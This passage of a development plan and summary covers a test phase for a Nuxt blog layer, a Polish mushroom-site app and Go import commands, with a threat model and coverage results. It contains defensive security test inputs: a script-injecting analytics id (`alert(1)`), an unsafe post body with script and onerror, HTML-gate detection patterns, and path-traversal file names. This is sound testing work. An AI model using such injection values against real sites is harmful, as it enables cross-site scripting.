Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- Package scripts `test` (`node --test --test-reporter=tap tests/*.test.ts`) in `vue-journal-layer` and `vue-grzybyfunkcjonalne-app`.
|
||||
- Layer tests `tests/{routes,client,pagination,htmlGate,sitemap,seo,i18n}.test.ts`.
|
||||
- App tests `tests/ssr.test.ts`, `tests/analytics.test.ts`, `tests/content.test.ts`; fixture post `test-niebezpieczny-wpis` (unsafe body) with matching expect lines.
|
||||
- Go tests `TestReadFeaturedImageMap`, `TestValidDiskName`, `TestFeaturedImageSourceEscape`, `TestImportFeaturedImages`, `TestImportFeaturedImagesDryRun`, `TestReadCategoryMap`, `TestImportCategories` (package `console` of plugin `golem15.grzyby`), harness `TestMain` with env `GRZYBY_TEST_ADMIN_DSN`; host tests `TestBackendURIGfadmin`, `TestGrzybyCommandsRegistered`.
|
||||
- Gate script `scripts/check-phase16.sh` (summercms.go, Phase 15 precedent `scripts/check-phase15.sh`) with `--all`, env overrides `PHASE16_LAYER`, `PHASE16_HOST`, ending with `Phase 16 gate passed`.
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer test — the built site answers every PHP URL form correctly against the fixture API (tests/ssr.test.ts)</name>
|
||||
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json, ../vue-journal-layer/testing/fixture-api.mjs, ../vue-journal-layer/testing/nuxt-server.mjs, ../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (URL Inventory, Validation Architecture), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-15, D-16, D-23, D-24)</read_first>
|
||||
<action>Add the package script test = node --test --test-reporter=tap tests/*.test.ts and a README line that pnpm build must run before pnpm test (the summercms.io output.test.ts convention). Add fixture post test-niebezpieczny-wpis whose content_html contains a script tag and an onerror attribute, and an expect.txt line 200 /blog/test-niebezpieczny-wpis contains=journal-post-body--blocked notcontains=onerror.
|
||||
|
||||
tests/ssr.test.ts imports startFixtureApi from vue-journal-layer/testing/fixture-api.mjs and startNuxtServer from vue-journal-layer/testing/nuxt-server.mjs (resolved from node_modules; plain .mjs because Node does not strip types there). before() asserts .output/server/index.mjs exists (failing with "run pnpm build before pnpm test") and boots the fixture API and the server (default env); after() closes both. Tests, each a plain test() with node:assert/strict, fetching with redirect manual:
|
||||
- D-15 status table: 200 for /, /blog, /blog?page=2, /blog/blogbadania-nad-cordycepsem, /cordyceps, /amanita-muscaria, /kontakt, /trwaja-prace, /autor/admin, /rss.xml, /sitemap.xml, /robots.txt; 404 for /blog?page=3, /blog?page=abc, /blog?page=0, /nieistnieje, /rss, /feed, /404, /error, /blog/badania-nad-cordycepsem, /autor/nobody, /blog/tag/anything.
|
||||
- static routes win over /:category (RESEARCH A2): /kontakt contains mailto:kontakt@grzybyfunkcjonalne.pl and /trwaja-prace contains Niebawem.
|
||||
- canonical and titles: /blog?page=2 has a canonical link ending /blog?page=2 and a title containing Strona 2; the post page title contains | Grzyby Funkcjonalne (RESEARCH A6, A7).
|
||||
- D-16: /en and /en/blog answer 404; /blog contains the pl string Artykuły.
|
||||
- D-24 and D-21: /amanita-muscaria answers 200 with the empty-state string; /cordyceps contains Cordyceps w pigułce before the first post card.
|
||||
- T-16-01: /blog/test-niebezpieczny-wpis contains journal-post-body--blocked and no onerror; / contains no journal-post-body--blocked (FAQ and homepage copy pass the gate).
|
||||
- Pitfall 5: a request sent with X-Forwarded-For: 198.51.100.9 makes the fixture API record an x-forwarded-for value containing 198.51.100.9.
|
||||
- Content types: /rss.xml starts with application/rss+xml; /sitemap.xml lists /blog/blogbadania-nad-cordycepsem and /amanita-muscaria and not /trwaja-prace.
|
||||
- D-14: no page among /, /kontakt, /blog contains a form element.
|
||||
- D-23: a second server with NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 renders googletagmanager.com/gtag/js?id=G-MLSV7WJ6W4 on /; the default server renders no googletagmanager; a third server with a malformed id (G-X');alert(1)//) renders no googletagmanager and no alert(1).
|
||||
Commit in the app (test: SSR test of the built site against the fixture API), push, and bump the host gitlink in a separate host commit.</action>
|
||||
<verify>
|
||||
<automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build && pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app test</automated>
|
||||
<fails_when>Non-zero exit; TAP output contains "not ok" or "# fail" with a count above 0; the "# pass" line is absent or 0.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- tests/ssr.test.ts passes on the built .output with every case above, under node --test with no skipped test.
|
||||
- Removing the gate call from the layer PostBody would make the T-16-01 case fail (the case asserts the blocked class, not just a 200).
|
||||
- The fixture API request log is asserted for the forwarded x-forwarded-for value.
|
||||
- package.json has the test script; the host gitlink points at the pushed app commit.
|
||||
</acceptance_criteria>
|
||||
<done>The built site is proven against every PHP URL form, the locale, analytics and HTML-gate rules by an automated SSR test.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Layer util tests and app util/content tests</name>
|
||||
<files>../vue-journal-layer/package.json, ../vue-journal-layer/README.md, ../vue-journal-layer/tests/routes.test.ts, ../vue-journal-layer/tests/client.test.ts, ../vue-journal-layer/tests/pagination.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, ../vue-journal-layer/tests/sitemap.test.ts, ../vue-journal-layer/tests/seo.test.ts, ../vue-journal-layer/tests/i18n.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
|
||||
<behavior>
|
||||
- normalizeJournalRoutes: defaults round-trip; an override replaces one key and keeps the others; false disables; post without :slug, category without :category, or a path without a leading / throws an Error naming journal.routes.<key>.
|
||||
- fillJournalPath('/blog/:slug', { slug: 'a b' }) encodes to /blog/a%20b; a slug with / is encoded per segment.
|
||||
- clampPerPage: 0 → 1, 31 → 30, 'abc' → 9; buildPostListQuery emits page, per_page, sort, category, tag only when set.
|
||||
- createJournalClient with a fake fetcher: listCategories always sends include_empty=1; findCategory finds a nested child; getPost returns null for errors with status 404 or statusCode 404 and rethrows a 500.
|
||||
- parsePageParam: undefined → 1, '2' → 2, '0', '-1', '1.5', 'abc', ['2'] → null; pageOutOfRange(3, 2) true, (1, 0) false, (2, 2) false.
|
||||
- htmlGate: the six Go cases (script, iframe, event handler, javascript:, vbscript:, data:) are unsafe, upper-case variants too; plain headings, tables and links are safe; gateJournalHtml returns { safe: false, html: '' } for unsafe input.
|
||||
- buildJournalSitemapEntries: uses routes.post and routes.category (custom /:category gives /cordyceps), skips a false route, flattens nested categories, sets lastmod from updated_at.
|
||||
- postSeoMeta: description falls back to the first 160 characters of the content text; og image becomes absolute; listTitle adds the page title only when page > 1.
|
||||
- i18n: pl.json and en.json have identical leaf key sets and identical {name} interpolation tokens per key (for example {page}).
|
||||
- app gaHeadScripts: '' and malformed ids give []; G-MLSV7WJ6W4 gives two scripts with the id in the loader src.
|
||||
- app content: faq.pl.json has 16 items with non-empty question and answer_html; MAIN_MENU items have known kinds and every labelKey exists in pl.json; every t('…') key used in app/**/*.vue exists in pl.json or in the layer's journal.* keys.
|
||||
</behavior>
|
||||
<read_first>../vue-journal-layer/app/utils/routes.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/pagination.ts, ../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/utils/sitemap.ts, ../vue-journal-layer/app/utils/seo.ts, ../vue-journal-layer/i18n/locales/pl.json, ../vue-journal-layer/i18n/locales/en.json, ../sm-journal-plugin/classes/format_html_test.go, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-summercmsio-app/vue-summercmsio-app/tests/scrollSpy.test.ts, ../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts (leaves helper)</read_first>
|
||||
<action>Layer: add the package script test = node --test --test-reporter=tap tests/*.test.ts and a Testing line in the README. Write the seven test files from the behavior list, importing the utils with explicit .ts paths (scrollSpy.test.ts pattern) and a fake fetcher object for the client (no network). Reuse the summercms.io leaves() helper shape for i18n parity. If a test exposes a bug in a util, fix the util in the same repo (one logical change per commit), and when runtime code changed, tag the layer v0.1.1, bump the app's dependency and lockfile to it, and record that in the SUMMARY. Commit (test: Journal layer util tests) and push.
|
||||
|
||||
App: tests/analytics.test.ts imports ../app/utils/analytics.ts; tests/content.test.ts reads app/data/faq.pl.json, imports ../app/data/menu.ts and scans app/**/*.vue for t('…') and $t('…') keys with a regex, resolving each against pl.json plus the layer's i18n/locales/pl.json read from node_modules/vue-journal-layer (as JSON, no TS import). Commit in the app (test: app util and content tests), push, bump the host gitlink in a separate host commit.</action>
|
||||
<verify>
|
||||
<automated>pnpm -C ../vue-journal-layer test && pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app test</automated>
|
||||
<fails_when>Non-zero exit; TAP output contains "not ok" or a "# fail" count above 0; either run lacks a "# pass" line with a count above 0.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- All seven layer test files and both app unit test files exist and pass under node --test with no skips.
|
||||
- htmlGate.test.ts contains the six Go cases from sm-journal-plugin classes/format_html_test.go.
|
||||
- client.test.ts asserts include_empty=1 on the categories request.
|
||||
- i18n.test.ts fails if a key is added to pl.json without en.json.
|
||||
- Any util fix is released as layer tag v0.1.1 and the app pins it (or the SUMMARY states no runtime change was needed).
|
||||
</acceptance_criteria>
|
||||
<done>Every layer util and app util/content rule has a passing unit test.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Go tests for the grzyby commands and the host boot, phase gate script and validation sign-off</name>
|
||||
<files>../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/export/badania-nad-cordycepsem.json, scripts/check-phase16.sh, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md</files>
|
||||
<behavior>
|
||||
- TestReadFeaturedImageMap: two valid lines and a blank line parse to 2 entries; invalid JSON on line 3 returns an error containing "line 3".
|
||||
- TestValidDiskName: 665f1e2a3b4c5d6e7f8091.png is valid; ../x.png, a/b.png, x, .png, x.png/ and an empty string are invalid.
|
||||
- TestFeaturedImageSourceEscape: a disk name that would resolve outside --source is refused and counted Failed without reading the file.
|
||||
- TestImportFeaturedImages (Postgres): a published post with host slug blogbadania-nad-cordycepsem and a map entry keyed by the base slug badania-nad-cordycepsem with --export testdata/featured/export gives Created 1; the mem:// bucket holds attach.BlobKey(disk_name) with the source bytes; the system_files row has attachment_type Golem15\Journal\Models\Post, attachment_id equal to the post id as a string, field featured_images, the map's file_name, content_type and file_size; a second run gives Created 0 and Skipped 1; an unknown slug gives Failed 1; content type text/html gives Failed 1.
|
||||
- TestImportFeaturedImagesDryRun: no blob, no row, stats report what would be created.
|
||||
- TestReadCategoryMap and TestImportCategories (Postgres): pl translation values win over base; name, description and the D-21 content field are written; a re-run reports Unchanged; an unknown slug reports Failed.
|
||||
- TestBackendURIGfadmin: compass.Load("config") gives backend.uri /gfadmin and cabana.AdminPrefix resolves /gfadmin; TestGrzybyCommandsRegistered: the activated golem15.grzyby plugin returns both command names.
|
||||
</behavior>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod, ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-journal-plugin/admin_harness_test.go (testcontainers harness, ICU database, fail-closed TestMain), ../summercms.go/modules/lagoon/attach/bucket_test.go (mem:// bucket in tests), ../summercms.go/modules/cabana/prefix.go, scripts/check-phase15.sh, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md</read_first>
|
||||
<action>testmain_test.go (package console): when GRZYBY_TEST_ADMIN_DSN is set, create grzyby_test_<random hex> with TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL', and drop only that database in TestMain teardown; otherwise start testcontainers postgres (the image and options sm-journal-plugin admin_harness_test.go uses); with neither available and not -short, TestMain exits non-zero with a message naming GRZYBY_TEST_ADMIN_DSN (no false-green skip, Phase 2 house rule); with -short the DB tests call t.Skip and the pure tests still run. Migrate the translate, journal and attach (system_files) tables through the plugins' Migrations() as the journal harness does. Buckets are mem:// (import gocloud.dev/blob/memblob). testcontainers-go and its postgres module are STACK-named and already used by the plugins; add them to the plugin go.mod at the versions the journal plugin pins (v0.44.0). testdata/featured/export/badania-nad-cordycepsem.json holds the journal-export file shape with translations.pl.slug blogbadania-nad-cordycepsem.
|
||||
|
||||
Write the Go tests from the behavior list as plain func TestX(t *testing.T) with testify-free stdlib assertions unless the plugin already uses testify (keep the journal plugin's style). Host boot_test.go gains TestBackendURIGfadmin and TestGrzybyCommandsRegistered next to the existing tests. If a test exposes a bug, fix it in the command in the same repo as a separate commit.
|
||||
|
||||
scripts/check-phase16.sh (summercms.go, Phase 15 gate style: set -euo pipefail, unset FORCE_COLOR, PHASE16_LAYER default ../vue-journal-layer, PHASE16_HOST default ../sm-grzybyfunkcjonalne-app, usage, --all): stages (1) pnpm -C layer test; (2) layer build:playground and smoke-ssr over testing/expect-acme.txt; (3) app pnpm install --frozen-lockfile, build, test, smoke:ssr, smoke:ga; (4) go -C host vet ./... and go -C host test ./... -count=1 -v requiring PASS lines for TestBootUserTranslateJournal, TestCORS, TestBackendURIGfadmin, TestGrzybyCommandsRegistered; (5) go -C host/plugins/grzyby vet ./... and test ./... -count=1 -v -race requiring PASS lines for every Go test named in this task; (6) bash host/scripts/check-deploy.sh. Every stage fails on a non-zero exit, "--- FAIL", "--- SKIP", "no tests to run", "not ok", "DATA RACE" or a missing required PASS line. It ends with "Phase 16 gate passed".
|
||||
|
||||
16-VALIDATION.md: bind each Per-Task Verification Map row to its plan and task (16-01-T2…16-05-T3), fill the Threat Ref column (T-16-01 htmlGate and SSR blocked-notice tests, T-16-10 boot tests, T-16-11 check-deploy, T-16-12 traversal tests, T-16-23 harness), mark rows green after the gate passes, tick the Wave 0 items, set wave_0_complete: true and nyquist_compliant: true. Commits: plugin tests and host tests (test: grzyby command and boot tests) in the host repo; the gate script (test: Phase 16 gate) and the VALIDATION update (docs: Phase 16 validation sign-off) as separate commits in summercms.go.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby vet ./... && go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby test ./... -count=1 -v -race -run '^(TestReadFeaturedImageMap|TestValidDiskName|TestFeaturedImageSourceEscape|TestImportFeaturedImages|TestImportFeaturedImagesDryRun|TestReadCategoryMap|TestImportCategories)$' && go -C ../sm-grzybyfunkcjonalne-app vet ./... && go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal|TestCORS|TestBackendURIGfadmin|TestGrzybyCommandsRegistered)$'</automated>
|
||||
<fails_when>Non-zero exit; output contains "--- FAIL", "--- SKIP", "no tests to run" or "DATA RACE"; any of the eleven named "--- PASS: Test…" lines is absent.</fails_when>
|
||||
<automated>bash scripts/check-phase16.sh --all</automated>
|
||||
<fails_when>Non-zero exit; the last line is not "Phase 16 gate passed".</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- Every Go test named in the behavior list prints --- PASS with -race, none skipped, against a throwaway database.
|
||||
- The harness drops only the grzyby_test_<random> database it created.
|
||||
- scripts/check-phase16.sh --all prints "Phase 16 gate passed".
|
||||
- 16-VALIDATION.md has nyquist_compliant: true, wave_0_complete: true and every row bound to a plan task.
|
||||
- go vet and go test ./... are green in sm-grzybyfunkcjonalne-app and plugins/grzyby.
|
||||
</acceptance_criteria>
|
||||
<done>The Go commands and host boot are covered by passing tests and one gate script proves the whole phase green.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Test harness → Postgres | Tests create and drop databases with an admin DSN |
|
||||
| Gate script → developer machine | The gate runs builds and tests across three repos |
|
||||
| Tests → security controls | Regression tests are the evidence that the phase's mitigations hold |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16-23 | Tampering | console TestMain with GRZYBY_TEST_ADMIN_DSN | medium | mitigate | Creates grzyby_test_<random> and drops only that name; never migrates or drops the DSN's own database (T-02-05 precedent) |
|
||||
| T-16-24 | Repudiation (false green) | scripts/check-phase16.sh | medium | mitigate | Fails on FAIL, SKIP, no tests to run, not ok, DATA RACE and missing named PASS lines; DB tests fail instead of skipping outside -short |
|
||||
| T-16-25 | Tampering | regression coverage of T-16-01, T-16-10, T-16-12 | high | mitigate | htmlGate Go-parity cases plus the SSR blocked-notice case (T-16-01); TestBackendURIGfadmin and the boot route assertions (T-16-10); TestValidDiskName and TestFeaturedImageSourceEscape (T-16-12) |
|
||||
| T-16-SC | Tampering | test dependencies | high | mitigate | Only testcontainers-go v0.44.0 (STACK-named, already pinned by the Journal plugin) is added to plugins/grzyby/go.mod; no npm package is added; node --test is built in |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- `pnpm -C ../vue-journal-layer test` and `pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app test` pass.
|
||||
- The Go command and host tests pass with -race.
|
||||
- `bash scripts/check-phase16.sh --all` prints "Phase 16 gate passed".
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- SC-4: the phase's new code has unit tests, delivered in its last plan.
|
||||
- Every D-ID with behaviour (D-06, D-09, D-13, D-15, D-16, D-21, D-22, D-23, D-24) has at least one automated test.
|
||||
- 16-VALIDATION.md is signed off (nyquist_compliant: true).
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-05-SUMMARY.md` when done.
|
||||
</output>
|
||||
@@ -0,0 +1,303 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 05
|
||||
subsystem: testing (Nuxt layer, site app SSR, Go host and app plugin)
|
||||
tags: [node-test, tap, nuxt-ssr, go-test, testcontainers, postgres, phase-gate, validation]
|
||||
status: complete
|
||||
|
||||
requires:
|
||||
- phase: 16-01
|
||||
provides: "vue-journal-layer utils (routes, client, pagination, htmlGate, sitemap, seo), i18n, testing/fixture-api.mjs and nuxt-server.mjs"
|
||||
- phase: 16-02
|
||||
provides: "vue-grzybyfunkcjonalne-app (PHP URL map, gaHeadScripts, menu, FAQ, fixtures and expect.txt)"
|
||||
- phase: 16-03
|
||||
provides: "golem15.grzyby commands (import-featured-images, import-categories), boot_test.go, check-deploy.sh"
|
||||
- phase: 16-04
|
||||
provides: "staging deploy proven with smoke.sh --url (98 urls)"
|
||||
provides:
|
||||
- "vue-journal-layer: pnpm test (node --test) over 7 util test files, 78 tests; main a4dca42 (no new tag, no runtime change)"
|
||||
- "vue-grzybyfunkcjonalne-app: tests/ssr.test.ts (built server against the fixture API, 16 tests), analytics and content tests; fixture post test-niebezpieczny-wpis; main 5b10bc0"
|
||||
- "sm-grzybyfunkcjonalne-app: plugins/grzyby/console tests with a fail-closed Postgres harness (GRZYBY_TEST_ADMIN_DSN or testcontainers), TestBackendURIGfadmin, TestGrzybyCommandsRegistered; master 87e5353"
|
||||
- "summercms.go scripts/check-phase16.sh (--self-test, --layer, --layer-smoke, --app, --host, --plugin, --deploy, --all)"
|
||||
- "16-VALIDATION.md signed off (nyquist_compliant: true, wave_0_complete: true)"
|
||||
affects: [phase 16 verification, production cutover of grzybyfunkcjonalne.pl, other Golem15 blogs consuming vue-journal-layer]
|
||||
|
||||
actuals:
|
||||
tokens: 23821 # chars/4 over added lines: host c797ab9..87e5353 (go.sum excluded), app b50c808..5b10bc0, layer 783426c..a4dca42, summercms.go c5e03f4 and a8c65bc
|
||||
tasks: 3
|
||||
commits: 3 # MEASURED in sm-grzybyfunkcjonalne-app: git rev-list --count c797ab9..HEAD; plus app 2, layer 1, summercms.go 2 (listed below)
|
||||
commits: 3
|
||||
plan_head_before: c797ab9d23e0a9e5d6862811560ab4c832a3c57c # sm-grzybyfunkcjonalne-app
|
||||
plan_head_after: 87e5353ffc96d8999a4567c086eaad8b177fbad4 # sm-grzybyfunkcjonalne-app, pushed to origin/master
|
||||
|
||||
tech-stack:
|
||||
added: ["testcontainers-go v0.44.0 and modules/postgres v0.44.0 in plugins/grzyby/go.mod (the Journal plugin's pin; test-only)"]
|
||||
patterns:
|
||||
- "node --test over .ts with explicit .ts imports; tests in node_modules-free utils, SSR checked through the built server"
|
||||
- "App SSR test imports the layer's plain .mjs testing helpers from node_modules/vue-journal-layer/testing"
|
||||
- "Go DB harness: TestMain creates one random ICU database, migrates through lagoon.Migrate + party.Activate, drops only that database, fails outside -short when no database exists"
|
||||
- "Trap *gorm.DB on a closed port proves a code path makes no query"
|
||||
- "Phase gate with two fail-closed detectors (go test -json and node TAP), each with a planted-input self-test"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts
|
||||
- ../vue-journal-layer/tests/routes.test.ts
|
||||
- ../vue-journal-layer/tests/client.test.ts
|
||||
- ../vue-journal-layer/tests/pagination.test.ts
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
- ../vue-journal-layer/tests/sitemap.test.ts
|
||||
- ../vue-journal-layer/tests/seo.test.ts
|
||||
- ../vue-journal-layer/tests/i18n.test.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/export/badania-nad-cordycepsem.json
|
||||
- scripts/check-phase16.sh
|
||||
modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/boot_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum
|
||||
- .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md
|
||||
- .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
|
||||
|
||||
key-decisions:
|
||||
- "No layer util needed a fix, so vue-journal-layer gets no v0.1.1 tag; the app keeps pinning v0.1.0 and the layer's main carries only tests"
|
||||
- "The malformed-GA-id SSR case asserts the id appears only as the JSON string in window.__NUXT__.config (Nuxt serializes public runtime config) and nowhere else, instead of a literal absence of alert(1), which Nuxt makes impossible"
|
||||
- "The grzyby harness creates its database with ICU pl-PL like production and fails, not skips, without GRZYBY_TEST_ADMIN_DSN or Docker outside -short"
|
||||
- "The gate reads go test -json and node TAP rather than grepping -v text, and requires named tests per stage"
|
||||
|
||||
patterns-established:
|
||||
- "Phase gate per site phase: layer, layer smoke, app (install, build, tests, smokes), host, app plugin with -race, deploy config"
|
||||
|
||||
requirements-completed: [SC-4]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "The built site answers every PHP URL form with the right status, static pages beat /:category, canonical and titles keep ?page=N and the site name, pl only, empty category state, category content above the list, unsafe body blocked, XFF forwarded, feed types, sitemap entries, no forms, and GA only for a valid id (D-14, D-15, D-16, D-21, D-23, D-24, T-16-01, T-16-07)"
|
||||
requirement: SC-4
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts (pnpm build && pnpm test: 16 ssr tests pass, 0 skipped)"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "mutation: htmlGate isSafeJournalHtml forced true in node_modules copy, rebuild -> 'not ok 8 - T-16-01: an unsafe post body renders the blocked notice only'; restored and rebuilt -> 16/16 pass"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Layer util unit tests: route normalization and filling, client query building with include_empty=1 and 404 handling, pagination, the HTML gate's Go parity cases, sitemap from journal.routes, SEO values, pl/en key and placeholder parity (D-06, D-13, D-16, D-24, T-16-01)"
|
||||
requirement: SC-4
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "pnpm -C ../vue-journal-layer test -> # tests 78, # pass 78, # fail 0, # skipped 0"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "App util and content tests: gaHeadScripts for empty, malformed and valid ids; FAQ 16 entries; MAIN_MENU kinds and label keys; every t() key in app/**/*.vue resolves (D-23, T-16-07)"
|
||||
requirement: SC-4
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts and tests/content.test.ts (pnpm test: 25 total, 25 pass)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Go tests for grzyby:import-featured-images (blob at attach.BlobKey, system_files row, idempotent, base slug through the export, traversal refused before reading, failures, dry run) and grzyby:import-categories (pl preferred, content written, unchanged rerun, unknown slug, dry run) against a throwaway database (D-21, D-22, T-16-12, T-16-23)"
|
||||
requirement: SC-4
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "GRZYBY_TEST_ADMIN_DSN=<throwaway initdb cluster> go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby test ./... -count=1 -v -race -> 10 top-level --- PASS, no SKIP, no DATA RACE; database list afterwards: postgres, template0, template1"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "without a DSN or Docker: FAIL with the GRZYBY_TEST_ADMIN_DSN message; with -short: 5 pure tests PASS, 5 DB tests SKIP"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Host boot tests: backend.uri and cabana.AdminPrefix are /gfadmin, admin routes under /gfadmin/ and none under /backend, grzyby commands registered (D-09, T-16-10)"
|
||||
requirement: SC-4
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal|TestCORS|TestBackendURIGfadmin|TestGrzybyCommandsRegistered)$' -> 4 PASS"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
